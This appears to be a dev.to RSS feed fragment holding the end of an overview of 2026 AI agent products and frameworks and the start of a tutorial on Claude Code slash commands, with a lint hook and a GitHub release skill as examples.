&lt;a href="https://www.ema.ai/" rel="noopener noreferrer"&gt;Ema&lt;/a&gt;: The Enterprise Machine Assistant promises AI employees that can fill roles from customer support, sales, research, and HR. Workflow engines invoke agents autonomously, and allow connecting to various data sources, ensuring governance and system connectivity.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.trysight.ai/" rel="noopener noreferrer"&gt;Sight AI&lt;/a&gt;: An autonomous content-generation platform for researching, writing, and publishing SEO-optimized articles. Specialized agents partake in each workflow phase, and learn from their work. Published page rankings are monitored, their impact measured, and important findings stored in a knowledge graph that serves as a continuously evolving knowledge base for improving all publication aspects.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sales and Support
&lt;/h2&gt;

&lt;p&gt;These agents are tuned for CRM workflows, customer engagement, and service automation.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.salesforce.com/agentforce/" rel="noopener noreferrer"&gt;Agentforce&lt;/a&gt;: Salesforce's all-in-one solution for conversational agents that support all CRM processes. They can be employed as customer-facing chatbots, in back-office environments for customer support, and even for reaching out to resellers. All agents are highly customizable by the human team that invokes them.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.kore.ai/" rel="noopener noreferrer"&gt;Kore.ai&lt;/a&gt;: Kore offers pre-made AI apps for banking, healthcare, retail, and HR, as well as a complex agentic platform with which to implement and add agents for any business processes. Their focus on and experience with enterprise customers results in well-integrated solutions, orchestrating multimodal workflows that include voice, chat, documents, and system access. A special feature is enterprise-grade virtual assistant deployment across many business functions.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://sierra.ai/" rel="noopener noreferrer"&gt;Sierra&lt;/a&gt;: Sierra provides brand-specific AI support agents for customer services across voice, webpage, and app channels. It handles both FAQ-style information access, and can also handle operational service flows, e.g. triggering returns or handling subscriptions. Their advertised strength is brand awareness, ensuring a coherent customer experience.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Workflow Automation
&lt;/h2&gt;

&lt;p&gt;These agents orchestrate multi-step workflows and actions across apps and systems.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://agentsindex.ai/zapier-agents" rel="noopener noreferrer"&gt;Zapier Agents&lt;/a&gt;: Zapier has been at the forefront of automation for more than a decade. With their rich experience of inter-system connectivity, it is no surprise that adding agents provides a seamless experience. Many templates are available, resulting in seamless invocation of agents to summarize content or work autonomously. This allows for productive business automation, spawning agents to fulfil customer requests, file invoices, and more.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://beam.ai/" rel="noopener noreferrer"&gt;Beam AI&lt;/a&gt;: Agentic process-automation platform whose agents interpret requests, make routing decisions, and automate workflows in support, sales operations, and HR. A standout feature is decision-making inside process flows, not just form-based task triggering.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Low-Code/Visual Coding
&lt;/h2&gt;

&lt;p&gt;While dedicated coding agents output complex source code, the entry level into custom applications are visual editors, allowing non-technical users to implement complex logic.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://lovable.dev/" rel="noopener noreferrer"&gt;Lovable&lt;/a&gt;: AI-powered platform for creating full-stack web apps from natural-language prompts. It is especially helpful for fast prototyping and MVP creation. Users can start with a generic prompt, and then quickly refine generated results with follow-ups. Since its inception, capabilities like third-party system integrations were added, allowing the generated code to access these systems immediately.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://bubble.io/ai" rel="noopener noreferrer"&gt;Bubble&lt;/a&gt;: A similar visual app builder with a focus on structured design workflows. Upon the initial prompts, design choices are presented, e.g. a set of features, or the structure of a webpage. The visual editor allows configuring these aspects, and then continuing with the prompt, or rewinding to an earlier version. It also rapidly expanded its capabilities with a third-party API connector, and opened a marketplace for plugins that can be integrated into its GUI.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://retool.com/ai-app-generation" rel="noopener noreferrer"&gt;Retool&lt;/a&gt;: Low-code platform for internal tools that uses AI to generate applications from prompts while keeping visual editing, data bindings, and enterprise controls in place. It is particularly strong when apps must connect to business data, run securely, and evolve over time.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  General-Purpose Assistant
&lt;/h2&gt;

&lt;p&gt;These are broad assistants that handle many task types via chat, tools, and multimodal inputs.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://chatgpt.com/" rel="noopener noreferrer"&gt;ChatGPT&lt;/a&gt;: General assistant for writing, coding, and research, with browsing and agent capabilities for multi-step tasks. It is flexible enough to act as both a conversational helper and a goal-directed autonomous agent with decision-making capabilities.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://gemini.google.com/app" rel="noopener noreferrer"&gt;Gemini&lt;/a&gt;: General assistant for search, reasoning, and productivity tasks, with multimodal support and strong workspace integration. It works well when users need one assistant across documents, mail, search, and visual inputs.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.meta.ai/" rel="noopener noreferrer"&gt;Meta AI&lt;/a&gt;: The AI Assistant from Meta, accessible as a standalone web application, and also integrated into WhatsApp, Instagram, and Facebook. It allows seamless follow-up questions inside these apps, accessing user messages for rich, grounded context.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Open-Source Projects
&lt;/h2&gt;

&lt;p&gt;An agent is a persistent, task-oriented process that has access to tools for editing files, connecting to external systems, and even shell commands in its environment. It also has a memory system, deriving context from several sessions/conversations, which also evolves the agent's capabilities so as not to repeat mistakes.&lt;/p&gt;

&lt;p&gt;Converging with the appearance of the first Large Language Models, early frameworks that provide single agents were developed. The evolution to multi-agent invocation is rather new, which required experience with agent memory consistency and fixed workflow handovers between the different processes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Single-Agent Frameworks
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/langchain-ai/langchain" rel="noopener noreferrer"&gt;LangChain&lt;/a&gt;: Modular framework in which strict workflows with agent invocation are designed. Agents have access to their own memory, vector stores for RAG, and other data sources. The framework even features its own domain-specific language for composing complex workflows as functions with streaming support.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/frdel/agent-zero" rel="noopener noreferrer"&gt;AgentZero&lt;/a&gt;: A general-purpose personal assistant framework with persistent memory and tool-enabled execution. It uses its host system for tool execution, so tasks can incorporate commands, code, and file operations.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/microsoft/autogen" rel="noopener noreferrer"&gt;AutoGen&lt;/a&gt;: Open-source framework for building AI agents and facilitating cooperation among multiple agents to solve tasks. It adds conversation programming and finite state machine patterns for controlling agent communication. AgentEval is integrated for task-oriented evaluation and iterative self-improvement. Has been declared in maintenance mode as of September 2025.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/emcie-co/parlant" rel="noopener noreferrer"&gt;Parlant&lt;/a&gt;: An agent harness for reliable customer-facing AI. Agent behavior is modeled as explicit rules and conditions, then selectively injects only the relevant guidelines into the prompt at runtime. This results in fine-grained, predictable control over a single agent.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Multi-Agent Frameworks
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/crewAIInc/crewAI" rel="noopener noreferrer"&gt;CrewAI&lt;/a&gt;: Multi-agent orchestration framework centered on crews, agents, and tasks. The template method separates agents and tasks into YAML files, making projects easier to read and reuse. It also adds built-in tools, planning support, and training-oriented workflows.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://milvus.io/blog/openclaw-formerly-clawdbot-moltbot-explained-a-complete-guide-to-the-autonomous-ai-agent.md" rel="noopener noreferrer"&gt;OpenClaw&lt;/a&gt;: The most famous open-source agent runtime that generated awareness for technical and non-technical users alike. It provides three strong pillars: First, support for more than 20 LLM providers, including OpenAI, Anthropic, the generic OpenRouter, and more. Second, tight integration into the Google and Apple ecosystems, connecting apps from mail to note-taking. Third, a multitude of channels to simplify communication with agents, including popular messaging platforms like WhatsApp and Telegram, and platforms like Slack and Discord. It is also known for fast-moving features, not always with system stability and backwards compatibility.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://yuv.ai/blog/hermes-agent" rel="noopener noreferrer"&gt;Hermes Agent&lt;/a&gt;: A framework for self-improving agents with persistent memory and autonomous skill creation, using searchable past interactions and skill documents to adapt workflows across chat platforms. It is the number one contender to OpenClaw, valued for its stability and strict permission system to keep agents from harming their system.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/RightNow-AI/openfang" rel="noopener noreferrer"&gt;OpenFang&lt;/a&gt;: A fast-moving open-source agent operating system built in Rust, positioned as a more kernel-level, background-process style alternative to chat-first agents. It emphasizes autonomous execution, skill templates, and a command registry, geared toward reliable scheduling and long-running tasks. It is shipped as a single, production-oriented binary, reducing resource overhead significantly compared to frameworks based on interpreted programming languages.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/zeroclaw-labs/zeroclaw" rel="noopener noreferrer"&gt;ZeroClaw&lt;/a&gt;: A compact, fully autonomous AI assistant infrastructure, emphasizing simplified practical deployments and channel connectivity. Its support for LLM providers and channels rivals that of OpenClaw, and its roots in Rust provide operational benefits, with a special focus on permissions to execute tools. An interesting feature is its hardware support to access communication protocols like I2C or serial interfaces, making it viable to be deployed on Raspberry Pi or ESP32 platforms.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In 2026, AI agents perform autonomous tasks in areas like productivity, research, content generation, and coding. This blog article gave a concise overview of both commercial tools and open-source projects in these realms. In the commercial space, the breadth from research to knowledge management, and from low-code to workflow automation, shows how much traction agents are developing. And the open-source projects show the steady progress from single-agent frameworks, requiring manual Python code with LLM invocations, to Telegram-controlled multi-agent environments with full access to the computer they run on.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>llm</category>
    </item>
    <item>
      <title>Claude Code CLI: Extensions and Integrations</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 30 Jul 2026 04:52:38 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-extensions-and-integrations-2cch</link>
      <guid>https://dev.to/admantium/claude-code-cli-extensions-and-integrations-2cch</guid>
      <description>&lt;p&gt;Claude Code is becoming an universal agentic tool, enabling text generation, image understanding, suggesting and performing tool calls, and working on local files. It does not only help in software engineering - it can also be used to access and parse database entries, perform web searches, access services via APIs, control browsers, and more.&lt;/p&gt;

&lt;p&gt;In an ongoing series, I systematically explore all Claude Code commands. Its more then 40 subcommands can be used for setup, configuration, conversation ops, and more. The focus of this article are extensions, mechanisms that provide additional capabilities, and integrations, allowing Claude to access other systems.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude06_extensions_and_integrations/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Extensions
&lt;/h2&gt;

&lt;p&gt;Claude Codes uses an agentic loop that processes a request, adds the system prompts and other context information, suggests tools calls, evaluates them, and modifies files. In this loop, several extension mechanisms can be used, modifying the behavior of loop actions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyvyg5qymm22ptzpwnpyc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyvyg5qymm22ptzpwnpyc.png" width="520" height="1228"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: Claude Code Docs, Hooks reference, &lt;a href="https://code.claude.com/docs/en/hooks#hook-lifecycle" rel="noopener noreferrer"&gt;https://code.claude.com/docs/en/hooks#hook-lifecycle&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/hooks&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During Claude Codes agentic loop, several lifecycle events happen, for example &lt;code&gt;PreToolUse&lt;/code&gt;, &lt;code&gt;PermssionRequest&lt;/code&gt;, &lt;code&gt;PostToolUse&lt;/code&gt;, and more. At each of these phases, a deterministic command can be registered to be executed. The official documentation names several hook examples: block edits to protected files, defining hard rules about which files cannot be modified in any case, and re-inject context after compaction, referencing e.g. files that should be read in addition to the projects CLAUDE.md file, which provides permanent context.&lt;/p&gt;

&lt;p&gt;The declaration is simple: A &lt;code&gt;hook&lt;/code&gt; section in &lt;code&gt;~.claude/settings.json&lt;/code&gt; (or scoped to project/directory), which contains the lifecylce event, the concreate actions, and the hook declaration, calling a script or an inline command.&lt;/p&gt;

&lt;p&gt;Here is an example hook to run &lt;code&gt;npm lint after any tool use. Add&lt;/code&gt;, and restart the session for it to become effective.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"hooks"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"PostToolUse"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
      &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"matcher"&lt;/span&gt;: &lt;span class="s2"&gt;"Edit|Write"&lt;/span&gt;,
        &lt;span class="s2"&gt;"hooks"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
          &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"command"&lt;/span&gt;,
            &lt;span class="s2"&gt;"command"&lt;/span&gt;: &lt;span class="s2"&gt;"npm run lint"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;]&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/skills&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Skills help an LLM to use commands effectively. They define custom behavior that is loaded and invoked by key-words or even by a custom slash command name.&lt;/p&gt;

&lt;p&gt;Defined in &lt;code&gt;~.claude/skills&lt;/code&gt;, they are essentially markdown files. These files define metadata in a frontmatter block, and then free-structured text. The current canon is to include the purpose, instructions, commands, and clear do and dont's.&lt;/p&gt;

&lt;p&gt;Here is an example skill that I defined for creating, observing, and merging GitHub pull requests, with full access to GitHub workflows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;code-release&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Create&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;GitHub&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;releases&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;with&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;zipped&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;source&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;code.&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Optionally&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;publish&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;if&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm-publish&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;command&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;defined.&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Use&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;when&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;asks&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;create&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;release,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;publish&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;or&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;tag&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;version."&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;

&lt;span class="gu"&gt;## Workflow&lt;/span&gt;
&lt;span class="p"&gt;
1.&lt;/span&gt; Validate project state (clean working dir, proper branch)
&lt;span class="p"&gt;2.&lt;/span&gt; Determine version number
&lt;span class="p"&gt;3.&lt;/span&gt; Create and push git tag
&lt;span class="p"&gt;4.&lt;/span&gt; Create GitHub release with zipped source
&lt;span class="p"&gt;5.&lt;/span&gt; Check for npm-publish script and run if defined
&lt;span class="p"&gt;6.&lt;/span&gt; Report completion&lt;span class="sb"&gt;


&lt;/span&gt;&lt;span class="gu"&gt;### Step 1: Validate Project State&lt;/span&gt;

Before creating a release, verify:
&lt;span class="p"&gt;
-&lt;/span&gt; &lt;span class="gs"&gt;**Clean working directory:**&lt;/span&gt; &lt;span class="sb"&gt;`git status`&lt;/span&gt; must show no uncommitted changes
&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="gs"&gt;**Branch check:**&lt;/span&gt; Should be on &lt;span class="sb"&gt;`main`&lt;/span&gt;, &lt;span class="sb"&gt;`master`&lt;/span&gt;, or a release branch (e.g., &lt;span class="sb"&gt;`release/v*`&lt;/span&gt;)
&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="gs"&gt;**Remote configured:**&lt;/span&gt; Verify &lt;span class="sb"&gt;`git remote -v`&lt;/span&gt; shows an origin

&lt;span class="gs"&gt;**If any validation fails:**&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Report the issue clearly
&lt;span class="p"&gt;-&lt;/span&gt; Stop and wait for user to fix
&lt;span class="p"&gt;-&lt;/span&gt; Do not proceed with release
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Skills are powerful. Check the complete documentation to learn about additional topics like metadata fields, text substitutions to reference Claude-specific environment variables, or control that skill invocation activates a sub-agent.&lt;/p&gt;

&lt;h3&gt;
  
  
